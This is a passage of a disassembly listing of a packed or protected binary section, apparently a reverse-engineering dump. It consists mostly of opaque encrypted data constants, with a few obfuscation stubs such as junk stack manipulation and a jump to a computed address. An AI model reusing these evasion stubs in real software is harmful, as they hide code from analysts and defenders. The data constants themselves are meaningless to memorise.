9CE7A2DBh, 0CC621F23h dd 24E7579h, 86E27421h, 0C24D7168h, 0E2D31ECBh, 0C0DEA507h dd 72DC36BDh, 0BDD182B7h, 4B2C3023h, 8D0009B4h, 0DC441AAh dd 4F4050A7h, 4CE291AAh, 0B542F7A4h, 2CFDF013h, 0DF49E10Ah dd 46836B51h, 0D06CA138h, 7138BD74h, 3DE097E2h, 0A2671420h dd 0CC87B267h, 203DE0B1h, 6D9C3F2Eh, 0D678B168h, 5E59A059h dd 0D708B80h, 98203DE1h, 5744D475h, 0C2BF1F0Ch, 56C6192Ch dd 9A772637h, 44E20079h, 2C807D1Ah, 67C4D0E5h, 1FDA0FF6h dd 3DD13298h, 10AE49F0h, 0A1619FBh, 0F0B8C8A5h, 0DF2E8F5Eh dd 0D8359A3Dh, 732C7CFBh, 90959EBBh, 49Ah, 0D2FE2FDh, 0D30906EAh dd 73DC6F4h, 0D20AFBE0h, 9C40C7F3h, 0A04C0B86h, 0AC12B567h dd 0B31ABD5Fh, 0A647AE56h, 6A0FB567h, 9603D0A9h, 0D8984D23h dd 4A8731CEh, 0B36667A4h, 8CA2777Eh, 0E51C46D0h, 0A114F1DAh dd 1EEDCFC8h, 0FF2CC297h, 0F46BD23Ah, 0F7C63DAh, 0CEE4CFFh dd 34F12F96h, 4DCAF20Dh, 8AE5CDC7h, 0EB084002h, 23956092h dd 25D7120Fh, 0E8ED1AC2h, 95601D5Bh, 0CD409D23h, 23E571EEh dd 0A392A3B2h, 412h, 85B75A75h, 6B917E62h, 7FA55E8Ch, 6A927358h dd 74A85F8Bh, 8834639Eh, 547A5D7Fh, 7B6285B7h, 4E6F568Eh dd 2B71DBFh, 96022851h, 8040A523h, 4AE946CEh, 5B0772A1h dd 97842996h, 45C45B35h, 0DA23B5B1h, 0C53CCD11h, 0F128E169h dd 74DEC448h, 0D413587Bh, 0F38BEE2Dh, 1B082995h, 73E258FBh dd 0D9202F96h, 728AF320h, 1A072395h, 957280F9h, 9E3FD23h dd 5C831651h, 7C749A4Fh, 6EAD704Dh, 23951D0Bh, 5F569B88h dd 329A3F8Ah, 50315754h, 4B947881h, 898E7606h, 0B0797284h dd 79AFCA89h, 6F2C2395h, 7A0D6CDFh, 21EC2395h, 559F5135h dd 5F584B2Eh, 0AA000002h, 6FAA638Ch, 79856388h, 2474623Ah dd 309C03CEh, 0BAE37D7h, 0D4EC7F4h, 2995D46Ch, 0F53CE9h dd 9E60529h, 971EEBD2h, 0E5D207C2h, 0DE8B0205h, 0DC4AFE38h dd 53795B86h, 505FA04Fh, 0B8C15287h, 35299630h, 0B089A648h dd 6568A747h, 93AFA2B4h, 862F8F62h, 0A6F1499h, 0E9239CFFh dd 88876750h, 0A34B9766h, 0FEBCBD5Eh, 4C39239Ch, 91378868h dd 0AF3F7CC9h, 0D640865Ah, 68F34E48h, 239D6415h, 0A5819592h dd 49h, 0AC5B7F78h, 69FFB48Ah, 0CEEF0831h, 0D182AF3Fh dd 2F8F9859h, 0A7528774h, 9D73116Ch, 7D918E23h, 729ADF64h dd 0C079239Dh, 7C569237h, 5C63B9F1h, 0B352E42Dh, 0D70507A7h dd 5CF804ADh, 39B358FEh, 0FE48D635h, 0DAh, 0AA638C48h dd 6F984423h, 0D586BB7Eh, 299685A4h, 6055B21Ah, 0C6681589h dd 9247C627h, 0C51BC83Ah, 5EF03888h, 0D03DA285h, 3A43D029h dd 0B72995F8h, 470A24CAh, 2995FD10h, 0FC20EDD2h, 0CE37A41Bh dd 70AA3C28h, 0E4DC8AC9h, 52BA2F91h, 3C756CC8h, 0AA52E4B0h dd 0FBB44FDh, 1224F5F8h, 0D5329A25h, 0E229932Ch, 1E183EEBh dd 2ADFFEF9h, 0C01964EFh, 0E9962399h, 0D146A645h, 99C03742h dd 0D0C7B423h, 0FBAE1FF0h, 4FEE536h, 0EB04B1DEh, 1F90Ah dd 9C755C00h, 0AE617D68h, 9A694F76h, 0AF568362h, 85826A8Dh dd 0F4CC55Fh, 3DA85CABh, 0DB86C9Fh, 3EA95BAEh, 0AB86CA1h dd 0CBAE6Dh, 0A3482396h, 75608CE5h, 0C67EB356h, 0AD4FBE1Fh dd 0D3A6B58Ch, 49299685h, 887569A4h, 31CED066h, 7E6D818Ch dd 0B6537A61h, 664EC67Bh, 29A6FFA6h, 280FD87Eh, 399B46C7h dd 0E271E337h, 2995B397h, 83856714h, 5FD97DD5h, 6B9E3DBAh dd 0C39FAF6Ah, 3DA21D55h, 0EF0CDDD0h, 2995B58Eh, 0B5641546h dd 24E12995h, 0F6DAC5C2h, 0D029D019h, 850807E7h, 520F42D4h dd 422F8F04h, 66215CF7h, 0E19E239Ch, 2AC6A54Dh, 4CF52CE5h dd 8D0007B3h, 664E2FECh, 0DECB239Ch, 0C8F40313h, 837C9D3Fh dd 3B3CB158h, 0A376778Eh, 0F085C86Eh, 6E239C66h, 5D88BC51h dd 0B3416D7Dh, 0C113F6D5h, 98C330EDh, 239C50E5h, 0A56CA562h dd 0B35A837Ch, 1EC76742h, 0FD17h, 69FF6900h, 22310831h dd 29968557h, 0A81EF1CDh, 852D500Bh, 0FDAA2996h, 0EC152234h dd 8967BF15h, 624E7C20h, 95FEA8D1h, 0D6782529h, 967FC373h dd 2330092Fh, 23957E5Ah, 0F14232E5h, 0A519772Fh, 0E19E56F8h dd 0FF1EBF38h, 95472954h, 30F9A623h, 0F2E322C7h, 0E9CE1737h dd 721EC04h, 3E71C810h, 49A651F3h, 1E42D1C4h, 0C62A3299h dd 0BECE126h, 0C8AF26DDh, 39F0E526h, 68362453h, 0E8C412E5h dd 21EAD407h, 0E61DCBACh, 1465F62Bh, 911CF849h, 40A75D94h dd 69967E9Fh, 99B0542Ah, 99E495A6h, 87611CF7h, 0DA9BF53Ch dd 12D71278h, 1FF0D0E7h, 925BFBAEh, 1DEED0E7h, 79AEFEB7h dd 8AAC0264h, 6877E6Bh, 53598584h, 0D5A8B36Ah, 601CF812h dd 0AAA243A7h, 0F1AE10B2h, 0D6F60138h, 0F6131D31h, 529E409h dd 0DD0409E6h, 0FD11FEE2h, 0C01E4h, 0D4380000h, 0D9FBF03Eh dd 7DC353E8h, 658C390Fh, 0A13E29ACh, 5F7E696Ch, 9A4423AAh dd 4F7B7C71h, 8A3235B8h, 4A6F787Dh, 8B2D3ABBh, 4E727578h dd 681BCCC1h, 18Fh, 68243489h, 1919h, 68240C89h, 1D49h dd 0B9241489h, 75892727h, 8105E9C1h, 90811E1h, 22E98147h dd 0F76B6F1Ch, 3EBD55D9h, 8103F75Fh, 0E86A46EDh, 81D5F73Ah dd 1C7DA6CDh, 2CCD8117h, 0D11E5C0Eh, 19ED81EDh, 21CF02BFh dd 0F1815DE9h, 466480EFh, 24148B54h, 4C481h, 2F680000h dd 89000002h, 428F240Ch, 24148B08h, 81E38953h, 4C3h, 4C38300h dd 5C241C87h, 592434FFh, 4C481h, 2FE90000h, 34FFF8F7h dd 0B818F4A0h, 600874Eh, 0E0FFC503h, 3D7D9B39h, 13F495D1h dd 2DE1CEC2h, 375E417Eh, 46DBE714h, 34EAA451h, 1C7469E5h dd 566E921h, 225A6599h, 4140187Ch, 2F27705Dh, 456AFACAh dd 3304B8EFh, 63068620h, 2523CE57h, 74017DA3h, 5FED7032h dd 69ADCF40h, 5EDCD52Ch, 4620835h, 27E9h, 6713AB00h, 58h dd 8 dup(0) ; --------------------------------------------------------------------------- jmp loc_5E4711 ; --------------------------------------------------------------------------- db 20h, 0C1h, 50h dd 6AA549ACh, 5EA513B2h, 6B9A3FA6h, 59AE0EB9h, 631091A3h dd 896C9077h, 5174A863h, 5A7D9F6Ah, 7E649875h, 0FDDF9AB9h dd 0E75C2395h, 0F013B542h, 0AF26E507h, 0CEDE54FAh, 0B828D31h dd 6359765Eh, 0C370FBA4h, 0D51BC433h, 1C2A4511h, 7A7BB6DDh dd 79815DAFh, 0C3559DCAh, 2BFEEF16h, 39A150E6h, 2DEE13CEh dd 2996354Ch, 35265704h, 0E6A32996h, 49F30300h, 7FFA19E0h dd 0FC299635h, 0D13298FFh, 0AE90DDCh, 48F128E5h, 9635720Bh dd 1C32EF29h, 12FBE4C3h, 0DB349C9Bh, 0D42F9926h, 8508FFEBh dd 34A942D4h, 60571743h, 4F0A8B7Ch, 4C8F30BFh, 0B36667A0h dd 0BC1FC67Eh, 8D30974Dh, 35AECF8Ch, 0B5662996h, 299635C4h dd 0A5624441h, 607E696Ch, 0C99E76ABh, 0EFC704B7h, 0E62BDEFDh dd 30909750h, 0E309EEDFh, 2057A528h, 69D66C32h, 14996E4Eh dd 452B145h, 0AB12C528h, 4782575Eh, 72A07495h, 18494FFEh dd 9B44B343h, 0C8A8D182h, 78252995h, 27839A94h, 12D79CDDh dd 1CEDD0E7h, 50ECC099h, 7B80D946h, 0CAD36D8h, 0AD41C8F3h dd 958BDC9Ah, 65785829h, 44498083h, 73A07763h, 29958C0Ah dd 5E4F9A87h, 2B014DBCh, 42864BC2h, 4BB8229Dh, 380E5CABh dd 4D2FA7A4h, 0ED61h, 7A85BC00h, 0D4A5B653h, 5129957Fh dd 8C7CC254h, 0D47FBA63h, 299685A9h, 9FDA7926h, 1C299685h dd 886FAA5Fh, 548DA162h, 0CEAF6C95h, 44299685h, 0B2676E97h dd 8CBF4F4Ch, 299685EFh, 5888369h, 484DBA22h, 0F8F4E2D5h dd 0EABF36D7h, 0D806E11Fh, 2F5D72EEh, 14B5424Dh, 1C15DF1h dd 23000000h, 808B31CEh, 3BBA5C0Dh, 0B0797C93h, 8733A447h dd 955C0D80h, 0C14E7281h, 47D42DCCh, 29968536h, 0D5C942ACh dd 85621B38h, 22DF2996h, 43A847E7h, 3EAC2F90h, 0D019D0C5h dd 1CC50CDDh, 854336E5h, 39CE2996h, 0CF4E343Ah, 52775648h dd 0A26742B3h, 6654538Ch, 0AA0F189Dh, 13E25A5Bh, 91EC27C7h dd 0E29959Fh, 9455D811h, 4F46BD2Bh, 5985749Ah, 44C12A95h dd 77769851h, 8B81B857h, 0FA9DC152h, 0D660F61Ah, 9A3FCEEFh dd 0A549BC1Dh, 608CB58Bh, 7C8326A7h, 0A3648853h, 9CB27732h dd 6DAE714Dh, 2996860Ch, 0AC559C89h, 85B3C655h, 73302996h dd 777A4CA1h, 0A1B5A05Fh, 8C7B5F48h, 4BC01E09h, 0D703F24Ah dd 3C2AFD07h, 0A6698572h, 8E796190h, 58836C53h, 4E1B9273h dd 0A2571283h, 96500871h, 76988529h, 59B419BCh, 9E655354h dd 376E7163h, 0E484CCBDh, 1FE110h, 45E9143Dh, 0A7309B9Ch dd 19D0C544h, 0F3DADDD0h, 484F526h, 4012996h, 0CB42C8CDh dd 39BF9Fh, 2135D4F7h, 0AE12F4E2h, 164D2FDDh, 0CEC944A9h dd 0C59419EEh, 0E3F531h, 8C4F0000h, 9A72A760h, 6337629Eh dd 0CC153985h, 0B0E9FDEBh, 1DE56B2Eh, 0B9D1A152h, 0F4F06853h dd 8425B83Dh, 6E9B42BDh, 0D8A1B267h, 4E2995B0h, 4415986Dh dd 7291A562h, 8C2DCA64h, 46737479h, 0D61BCEBFh, 0FE09B140h dd 710BC43h, 95B0314Ch, 38F1AE29h, 4FB1C16h, 0CF1E30D9h dd 300EAEBh, 0A7EBBA92h, 0AF6623AAh, 393EAF7Ah, 72994390h dd 7263AE7Bh, 7B331FE6h, 9DB15A84h, 2F7C0468h, 0A5A14Dh dd 837C0000h, 999FAF56h, 72A7608Ch, 31A46785h, 0AE5D7F78h dd 75585F88h, 69526D94h, 0A7717A9Ch, 81973A92h, 0F35A27F6h dd 0F8B6A463h, 0A671241h, 5E42996h, 0FDAC21E4h, 0DE54E034h dd 1AC62EEDh, 0D5F5F4h, 3EE32EDFh, 4F25ED6h, 96122657h dd 0EE6A329h, 9540EFA5h, 9549F4BBh, 40FA1CD5h, 8831CEDEh dd 0B61AD97Dh, 6C955459h, 85F38695h, 0B3702996h, 9685D5A8h dd 0B8235229h, 0D3769851h, 299685A7h, 6253BA23h, 21947755h dd 5C025037h, 8925318Ch, 0F33CF483h, 48EEEA36h, 2F2629C3h dd 1EE4Dh, 0CE380000h, 0D808B31h, 8D3BBA5Ch, 7B66C059h dd 0B81F8B15h, 2DFCF112h, 57043DE4h, 29959B26h, 9750E6A3h dd 40AC2F90h, 0F8B02C7h, 0F0DAD200h, 0C50CF7E1h, 4336E51Ch dd 0C029959Bh, 1BF4DCC3h, 52FBF9Ah, 6297C355h, 4EBF2097h dd 0BD89A5A8h, 0E0D72F8Eh, 0CB9E0F00h, 3AA4D32Bh, 0C40DDCD1h dd 4637E41Dh, 0C3239C7Ah, 0F2B730C6h, 5BD7651Ah, 4415986Fh dd 0C6878070h, 887D001Bh, 0DFA239Bh, 28E50AE9h, 0E4201BF1h dd 0C2C70AAFh, 0FAE3022Ch, 0D785F823h, 1502239Bh, 9BD77306h dd 0FE33F023h, 0A72ED901h, 0F50237F2h, 0EABF36D9h, 0E1DE9B44h dd 4AFD11FCh, 239BD72Dh, 94AEFC8h, 239BD770h, 0DF1E30EDh dd 16C43BF3h, 0CC14E8EDh, 0D60F54Eh, 0EDD71B8h, 1AA55CB1h dd 8A5F56B3h, 946DCA64h, 9C0CF687h, 0A0B67323h, 78A16C51h dd 27AE5D7Fh, 0A4678572h, 27905992h, 9E4B42C1h, 9C547978h dd 0AFA8C429h, 0CBC20714h, 0BA59A059h, 239BF4BFh, 50AF3F3Ch dd 16C52A02h, 0C9B45FB4h, 46239BF4h, 4C1D9059h, 3A785C85h dd 0FBB2B787h, 9CCECFCDh, 0A46DB381h, 787FA892h, 6DA2B455h dd 48D5BFF3h, 1B4B4h, 4E708700h, 0CD6138BDh, 3169FF67h dd 913F4B08h, 0E5A22F8Fh, 0EE15C33Ch, 681142E7h, 0E5239D79h dd 845DF138h, 2ED33AA3h, 0F6DE2991h, 0F5731D8Ah, 151F2F6Bh dd 6CE30DB2h, 922BBBACh, 51B61681h, 79566198h, 0C0698294h dd 0E2749337h, 7263AA13h, 2FA66985h, 7065A648h, 679C3EB9h dd 7F6BA266h, 94C2A59Fh, 34981FDAh, 0EC07E2D3h, 239CA191h dd 0EEFD110Eh, 1F083CD1h, 47C26CADh, 799A11F2h, 239CD200h dd 6349807Dh, 0D7A09987h, 0AFF0F7Ch, 48D64556h, 6E0Fh dd 6E5D200h, 0FF4DF303h, 34DB0365h, 5EFD44FDh, 2996851Bh dd 853548D3h, 0F5B22996h, 35021411h, 96853326h, 29942BA9h dd 0E30AEDE0h, 2FFAAF26h, 0EF2AD71Fh, 0FD87CE1Dh, 0DB7BDCB5h dd 0ECF88112h, 2603A995h, 34DA3599h, 9C0699C5h, 5459B21Ch dd 67A26953h, 81DC77A2h, 3E2995ECh, 965BAA0Fh, 0B7856Eh dd 4BB40000h, 759A369Fh, 0CEA49ABCh, 8595E873h, 15122996h dd 0A7F36501h, 86A1E172h, 0C5472F8Fh, 0B5D0A293h, 0E58BB45Bh dd 0BDD0FF6h, 0DBC830C6h, 2DF0CDDAh, 9CED8BEEh, 0D61B0823h dd 0E726C72Eh, 12BC43E6h, 22E726C7h, 0EE3B390Ch, 0B1DC239Ch dd 233009A5h, 239CEC5Ah, 0E5042AD7h, 6BDF0508h, 0D3A6B5FDh dd 49239CECh, 87746AA5h, 0AA5FB010h, 0A162886Fh, 4673A08Dh dd 86299D75h, 3EB95479h, 0B465689Dh, 527B5AA2h, 787F76BBh dd 7C5A9957h, 4B1E0559h, 848B0F86h, 0D15FC956h, 0A4981DE8h dd 0A06AA42Fh, 0AA5FAA94h, 0FCD5E46Fh, 10DA239Ch, 82F578ECh dd 0B1539E9Ah, 0FF69FF8Fh, 9B12EDDh, 330E33FEh, 55E61FCCh dd 29968524h, 0E552E4A1h, 970D7F36h, 6297842Fh, 7B637855h dd 81585D94h, 4A73746Dh, 87DD0EA6h, 0BD74BD88h, 9A4E7B84h dd 0AD97AA3Eh, 0EBE22732h, 0F21DC13Eh, 2E082EFBh, 3ACFEE09h dd 0A150E6B3h, 1DDCD13Ch, 424637E4h, 0A9C32396h, 0CB504043h dd 967EB3BFh, 198DF630h, 0EC5FEF30h, 81FDB2C7h, 0AC21ECD1h dd 0E4E920CBh, 0AD715D98h, 0A983CFA8h, 3F3AD944h, 0B5C52EAEh dd 2EFBF215h, 0DE06CBB8h, 0C47D6F7h, 0C52EAE71h, 0F5F831EEh dd 53CC9F2h, 0CB39510Fh, 2F38ED90h, 57BD6AC5h, 3BDB5F81h dd 0E124C5B2h, 26DD0BECh, 1D493EAFh, 452B941h, 9E46C728h dd 0EA93C079h, 67C52F2Fh, 785594BAh, 300376A5h, 8380C52Fh dd 799B2A31h, 0C30EB802h, 4538E31Eh, 0C2C52E98h, 0ADB831C5h dd 3, 8C390F13h dd 3E29AC65h, 7E696CA1h, 4423AA5Fh, 7B7C719Ah, 3235B84Fh dd 6F787D8Ah, 2D3ABB4Ah, 7275788Bh, 1BCCC14Eh, 81E68956h dd 4C6h, 4B85000h, 29000000h, 348758C6h, 11685C24h, 8900000Fh dd 89512404h, 4C181E1h, 83000000h, 0C8704E9h, 1C895C24h dd 886C6824h, 48B0600h, 4C48124h, 81000000h, 4ECh, 24248900h dd 4240483h, 375C685Bh, 4890000h, 8438F24h ; --------------------------------------------------------------------------- mov ebx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp mov eax, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_5734FA ; --------------------------------------------------------------------------- dw 49F7h dd 78E6C7Bh, 0CD47B4AEh db 0BEh ; --------------------------------------------------------------------------- loc_5E4711: ; CODE XREF: .XComp0:005E3E54j mov eax, 6009093h add eax, ebp jmp eax ; --------------------------------------------------------------------------- dw 92FBh dd 81CB079Ah, 3B8172B1h, 819D5E33h, 25D550B7h, 0B72F3CE3h dd 593F191Ch, 0E5731345h, 0F5471ABCh, 0AC020EE7h, 50AF2C59h dd 0B55304A2h, 99CB15B4h, 83394553h, 4D094632h, 0B80C009Ah dd 4D91D1Ah, 2E0A4AB1h, 0A1D2AC5h, 0EF9F4404h, 4CFA3812h dd 20C7284Fh, 7F51437Bh, 1A967D84h, 2C1772AEh, 37E90B72h dd 19000000h, 21609Dh, 0Ch dup(0) dd 35E90000h, 68000010h, 6009413h, 0F9F250E9h, 956168FFh dd 46E90600h, 68FFF9F2h, 60097E6h, 0F9F23CE9h, 99A368FFh dd 32E90600h, 68FFF9F2h, 6009C14h, 0F9F228E9h, 9E6868FFh dd 1EE90600h, 68FFF9F2h, 6009FB7h, 0F9F214E9h, 0CEB0EFFh dd 0E312C20Fh, 0AEB0958h, 0E817C00Dh, 9EC0E53h, 41D28D0Eh dd 8CD16697h, 3F8E8968h, 87D66190h, 0D908B6Ah, 90BC48B1h dd 6F289CDFh, 75C7A0Fh, 1D609E8h, 74F1269Fh, 0E70B342h dd 8F52166h, 0DF028B15h, 7B40339Ah, 0AB44AC12h, 9ADF0211h dd 3C01D6CDh, 8622BB97h, 3E9ADF02h, 499E8043h, 0DE19BEADh dd 30EB38EBh, 6AA1A02Bh, 5E3893FAh, 3D1DE284h, 58A75095h dd 0E0397E55h, 9CA0188Fh, 1DFEA6B7h, 5F0DBF04h, 0FFAF409Ch dd 22CD0FF2h, 32E50C45h, 0DB81FCEDh, 0D79F2681h, 2F52267h dd 340FCC87h, 983CD1A7h, 18DF1459h, 5C124BC3h, 69A3827Bh dd 0A3000000h, 47EFEC2h, 2170EED0h, 0CE8508F5h, 61E0A709h dd 0F8F104B6h, 579E561Bh, 0D8427D56h, 0A010127Fh, 2911109Ch dd 0C943B258h, 26AB9430h, 7051509Fh, 0DE198905h, 0F2CA92EBh dd 56E69F26h, 0F2CB55FEh, 80739F26h, 23F805B1h, 30B58B50h dd 9B787180h, 5D225D6h, 7AF2CC05h, 8DCBAC82h, 0C38C8532h dd 24B665B2h, 2A000001h, 7B5C7E13h, 69BE2A62h, 9F0AD57Fh dd 0AC496DC4h, 0C8956241h, 5DE1CC2Bh, 0A009E808h, 8F29F8C3h dd 9C996650h, 0FEC1948Dh, 3D52338Bh, 0AC72E33Fh, 9649AC4Ah dd 20D7FC41h, 0E90CA93Eh, 94619100h, 0A8853A19h, 2102EB0Ah dd 799EE3D6h, 4A20797Eh, 8B9ADF50h, 78D8FD66h, 0DF4845DFh dd 0BD02019Ah, 0BA8F502h, 91EA92ECh, 9ADF48F7h, 7667B46Fh dd 0ED4D68C5h, 4850EC85h, 0F70C9ADFh, 0FD391FD9h, 2BF03361h dd 7EDAAB53h, 0C8DE94BCh, 0AE70B62h, 12FB6CCDh, 58A99CA0h dd 91523BBAh, 7D97EC4Eh, 2BC03B80h, 0F28BF316h, 995A70D6h dd 2FD9EF10h, 31020F49h, 2F0F02E6h, 0BF1840DAh, 9ADD6225h dd 1A1DE2A1h, 70852BC0h, 0C134E6ABh, 0B37CD0F8h, 783CADADh dd 0D47h, 611E013h, 5DDA17B7h, 813E210h, 5ADD20B9h, 714E113h dd 9E38CB88h, 6195DC5Fh, 9B3A8794h, 6592DF5Ch, 0AA048592h dd 0DF96B751h, 7A7A2F9Ch, 0F601F426h, 0AD460AA7h, 9ADF0213h dd 284DFAD4h, 805CB1C4h, 0EE05AC81h, 133A2631h, 5CF55D7Eh dd 9ADF02C0h, 673A857Ch, 0E9983098h, 85926581h, 0F58FE8A8h dd 719ADFE4h, 640D6DB2h, 9CA0F62Fh, 8D6879D5h, 13B93B0h dd 64881405h, 3D349F26h, 26A60782h, 429F2664h, 0B5FEF4C7h dd 46827B7Ch, 107h, 84719FE4h, 1EC09ADh, 13EBD522h, 5DF65A7Eh dd 9ADF02C3h, 523B887Bh, 0DAF74691h, 528D7089h, 2DD0EA57h dd 0DC1BB84Dh, 0F4E532F1h, 0DF1E2179h, 0A642239Ah, 147D6C1Fh dd 9A3706D1h, 6491E05Bh, 0CE631891h, 0D22BD3ABh, 9ADFB736h dd 7D9EF3AEh, 87540F7Ah, 8E994EA7h, 67079CA0h, 269F720Eh dd 0A3527F9Fh, 948F692Ah, 11952131h, 0A9767FA8h, 1EB74CAEh dd 2107A13Ah, 0C4BF9F26h, 8E438EFFh, 0CC5F9C67h, 19EA5475h dd 8FE4624Ch, 126CAFA8h, 5A7B6E69h, 0FD5D1499h, 85E61055h dd 6C27A253h, 0FB1D64B7h, 25CB20FAh, 0C1100BD0h, 0FB13E617h dd 0DCADB2E3h, 0BF943F1h, 12C50000h, 0E90958E3h, 14C20F0Ch dd 0EE0756E1h, 13C50C0Fh, 19D655E2h, 8A8D708Ah, 0D5628F43h dd 8D8A6988h, 0D7649340h, 0C55FF856h, 819CDF97h, 0F4260C88h dd 269F35Ch, 1ED59ADFh, 0EA0756E1h, 2DA05D79h, 3CD1A976h dd 0B86B5E95h, 13FCE863h, 276126Bh, 33EE9ADFh, 0E77C99E8h dd 0E8BB2ECBh, 7AE431Bh, 3CC22BF0h, 2FEC09A7h, 6E24B562h dd 38C42DA5h, 0A49ADF00h, 590C14EDh, 0BF4CCF14h, 72F76782h dd 565B245h, 0A0F7DF6Ch, 1B8E859Ch, 61F601B6h, 8D00F71Ch dd 0ECD4F730h, 0E215C216h, 617E9AE7h, 24185508h, 0E6E71C29h dd 6F320578h, 0DD6BB845h, 44B364A9h, 0F24D8A49h, 8275A265h dd 4E8B2875h, 4B499ED7h, 4775C78Ch, 84F30ADBh, 9815984Bh dd 1860EA0Fh, 8030B519h, 0EB097871h, 0FFC49F0Ah, 0FED467BCh dd 0F61B5069h, 0AC9C4FFh, 4737EBB7h, 0FCBFA661h, 32E38035h dd 0E0EBCAC3h, 5E3020F4h, 668EE320h, 7AC7548Fh, 0CE2F9A5Dh dd 1860000Dh, 2C592E5h, 0B51522D5h, 825D80A4h, 0EE50D2E0h dd 9F73FB85h, 6BB063E7h, 3F74F126h, 0A15E35B8h, 9141C628h dd 0AD849764h, 5D8DA36Eh, 29F6CE48h, 0A851A951h, 0E79F331Ch dd 5284C9C8h, 0AE692AA3h, 0E012CACBh, 0B922BAE1h, 0E266122Fh dd 0D982DC97h, 0E266124Fh, 0DDBFFCF7h, 0A7861126h, 83CBAC8Eh dd 4A637F00h, 0ED36F4CDh, 0D7CC67DCh, 0B0D12A04h, 0B0E41943h dd 52D8DECFh, 0C813DC0Bh, 0A54D2DE4h, 9F40B04Ch, 76572CE7h dd 3BF59A30h, 0B821F629h, 0D5A72536h, 2E2E106Bh, 8DF790E9h dd 55E9E79Fh, 0C813E210h, 0D51AF06Bh, 707D421h, 0B344FCEh dd 5CA5Fh, 63FEDF00h, 4DDCBDE0h, 0A01B8552h, 0B2D36A64h dd 678E43C8h, 106AAD66h, 0A02A4667h, 4173FC9Ch, 0A55A39B4h dd 48759336h, 0E9481C37h, 0A85B9A3Eh, 733D1EB6h, 0F2148F77h dd 238CED2Ah, 0A118578Ah, 0FE14B0C4h, 0F5AE1FD6h, 209A100Ch dd 7AE37BE3h, 1BD1FBEEh, 6D609B56h, 9F567C11h, 95A2752Eh dd 0E57FD898h, 611BD1FBh, 0FBC854FDh, 7D741BD1h, 359D7D42h dd 0D1FB009Ch, 0B720BC1Bh, 1BD1FB2Dh, 0D225DA99h, 638BE078h dd 58F0498Eh, 0FC1DD2A6h, 70B34273h, 995C790Eh, 69882CC1h dd 0D358A380h, 91E9698Eh, 2D3E5CE8h, 3009081Eh, 1E2D3E94h dd 4B8E5150h, 28C3A1B9h, 74892B9Eh, 40000009h, 8CD16695h dd 438A8D64h, 8ED3688Dh, 408D8A6Dh, 5BD46796h, 0CE90BA0h dd 0E716C20Fh, 0FE60D54h, 0E510C50Ch, 0DE77D752h, 9CDF9542h dd 138F0DFAh, 6D50C3F2h, 815687C8h, 0BC9EB776h, 0D825CF14h dd 60B9FED5h, 9CA023CBh, 5C75EAFBh, 69C4D7ABh, 7A394AAEh dd 8A709650h, 8C69A692h, 0BD82148h, 9B688F46h, 0CB24CC32h dd 9F26BE31h, 5C21F6ADh, 0F007AEB7h, 0AB47BA33h, 0C0F65B4Eh dd 0A84DB435h, 79875C4Dh, 206C9D1Ah, 0EEB075Ch, 20F3C89Bh dd 0D59B929Bh, 26BEE07Ch, 5AA55C9Fh, 0DF135800h, 0E9BC9712h dd 0F6695FA9h, 0AA835848h, 9959E211h, 256AD4CFh, 0B34274EFh dd 23A6593Ah, 4EB0AB70h, 93DA1BB9h, 3A199461h, 0F403B07Dh dd 0C7F075F9h, 3DEB538h, 0A414A90Ch, 226FAC17h, 0B34270F5h dd 0DC14593Ah, 72DFCA15h, 0CB36B746h, 52DCCD24h, 0C53B6CEFh dd 0E90ED166h, 0D0B1090Eh, 0EF7B6B85h, 0E60C613Ch, 952CC0Fh dd 0E9887444h, 88170A4h, 0F45F904Bh, 0DF000003h, 4A716E8Ah dd 8176B64Bh, 0BC1505BAh, 9ADF1920h, 0AE12E59Ch, 0D64861E0h dd 24BD57Eh, 6EF39ADFh, 653EAF46h, 0D81DD39Ah, 2BD32B03h dd 0DF0236D2h, 28F3AE9Ah, 0D8932145h, 0A83DA19Ch, 24FFEA09h dd 0DF93AF39h, 2DCA179Ch, 0BF04DFCAh, 0A1C21A04h, 0C8D6E24Ah dd 0EE33882Ah, 7A7797CCh, 0AF8F540Fh, 9312AE47h, 0D7CA9CDFh dd 20BA0704h, 7192ECDDh, 8A2A1572h, 6BF69A6Bh, 0CD8CED2Ah dd 359CDFC6h, 4E134024h, 0BF744DA8h, 2CC9ED04h, 0DA1DE2C1h dd 0CD055E93h, 31EEA528h, 0B63462E8h, 0E2923BB3h, 7B7h dd 96A15083h, 0CD4AA747h, 98A35280h, 0CA4DB049h, 97A45183h dd 2EC85B18h, 0D1054CCFh, 2BCA1724h, 0D5024FCCh, 3A941522h dd 0DF9B07A1h, 0CACABF9Ch, 76126B13h, 0EE9ADF02h, 16B24B33h dd 0CE9ADF02h, 3EF308D3h, 6A4196FDh, 49289308h, 0A7974CA9h dd 0D866284Eh, 81D9989Ch, 0BC2DC4ECh, 58A914E7h, 72BF3CBBh dd 5C780D45h, 6620BC9Dh, 0B51E9CDFh, 9CDF662Bh, 5FCE093h dd 5582CFBAh, 15728784h, 0BF9415E0h, 0E5D649E6h, 0CD31AF1Ah dd 6C30CC25h, 0F5AC9CDFh, 0C78A4D22h, 0FB9EAD2Ah, 77FB1492h dd 0DF6342DEh, 0BC07FA9Ch, 417AF407h, 0D2827481h, 29Bh dd 6BF41B70h, 7772AD44h, 8F19C29Ch, 379CDF6Fh, 26157F3Ch dd 431406F1h, 5B3E16F2h, 9508D38Eh, 0EB70872Ch, 56C8E160h dd 9914E111h, 0B41DFDBAh, 9CA01DE3h, 547A8461h, 2EEE1288h dd 0D775F8F1h, 0D39F264Ch, 0D6720B73h, 8E9F264Ch, 70EB4893h dd 7B90417Ah, 68D282h, 0E0E60000h, 91D64861h, 3F149568h dd 0B53AA27Ch, 4924F7FEh, 9CA01048h, 23BD16B6h, 9B9F2610h dd 8A55A056h, 95DA5455h, 3E15985Dh, 1038A079h, 0A2519F26h dd 0CAE75A53h, 0C92CC22Bh, 4AA74B0Eh, 0D93F845Fh, 5C780D65h dd 1020BC9Dh, 0E59C9F26h, 0A47A3D12h, 6144B15Fh, 374B77B7h dd 4CCE09D5h, 827B6803h, 15B94h, 0F1262800h, 3AB34274h dd 0DBCE2BC7h, 8508BB08h, 2BC99A3Ch, 542515CAh, 0D12A1F4Fh dd 9ADFBB37h, 3311F4AFh, 0CFBAFDF9h, 8F845582h, 0D7710A17h dd 8F9ADFB1h, 22E23194h, 2FC7B76Ch, 0A3E56D4Eh, 7BDE5370h dd 9ADFF7E1h, 6851A65Dh, 0A1548106h, 0E1B06B28h, 76832F34h dd 